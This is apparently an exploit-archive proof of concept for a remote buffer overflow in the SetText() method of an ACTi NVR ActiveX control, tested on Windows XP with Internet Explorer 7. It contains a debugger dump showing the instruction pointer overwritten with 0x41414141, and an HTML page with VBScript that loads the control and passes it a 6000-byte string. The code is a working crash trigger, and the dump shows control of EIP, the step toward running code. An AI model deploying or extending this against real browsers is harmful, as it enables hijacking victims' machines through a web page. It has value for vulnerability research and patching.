-----------------------------------------------------------------------------------
 NVR SP2 2.0 nvUnifiedControl.AUnifiedControl.1 (nvUnifiedControl.dll v. 1.1.45.0)
 "SetText()" Remote BoF
 url: http://www.acti.com/index.asp

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 This was written for educational purpose. Use it at your own risk.
 Author will be not be responsible for any damage.
 
 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to this exploits.

 This control is marked as:
 RegKey Safe for Script: False
 RegKey Safe for Init: False
 Implements IObjectSafety: True
 IDisp Safe: Safe for untrusted: caller
 KillBitSet: Falso

 Here it is a dump from faultmon:
 11:32:16.064  pid=19E4 tid=191C  EXCEPTION (first-chance)
               ----------------------------------------------------------------
               Exception C0000005 (ACCESS_VIOLATION reading [4141447D])
               ----------------------------------------------------------------
               EAX=05494A60: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00
               EBX=00001770: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
               ECX=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
               EDX=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
               ESP=0188EC38: 2C ED 88 01 00 00 00 00-18 6F B3 04 58 E0 34 05
               EBP=00000001: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
               ESI=05499B70: 73 6F 6D 65 74 68 69 6E-67 00 00 00 00 00 00 00
               EDI=05492390: 68 D0 89 05 70 17 00 00-71 17 00 00 72 17 00 00
               EIP=0527BC3D: 8B 82 3C 03 00 00 8B 94-24 DC 00 00 00 51 0F BF
                             --> MOV EAX,[EDX+0000033C]
               ----------------------------------------------------------------

 11:32:16.064  pid=19E4 tid=191C  EXCEPTION (first-chance)
               ----------------------------------------------------------------
               Exception C0000005 (ACCESS_VIOLATION reading [41414141])
               ----------------------------------------------------------------
               EAX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
               EBX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
               ECX=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
               EDX=7C9137D8: 8B 4C 24 04 F7 41 04 06-00 00 00 B8 01 00 00 00
               ESP=0188E868: BF 37 91 7C 50 E9 88 01-DC EC 88 01 6C E9 88 01
               EBP=0188E888: 38 E9 88 01 8B 37 91 7C-50 E9 88 01 DC EC 88 01
               ESI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
               EDI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
               EIP=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
                             --> N/A
               ----------------------------------------------------------------
-----------------------------------------------------------------------------------

<object classid='clsid:A6F36F3F-3AE0-458B-AFC4-AA82565E0BF8' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  buff    = String(6000, "A")
  test.SetText 1, buff, 1, 1, 1, 1, 1, "something", 1, 1, 1, 1
 End Sub
</script>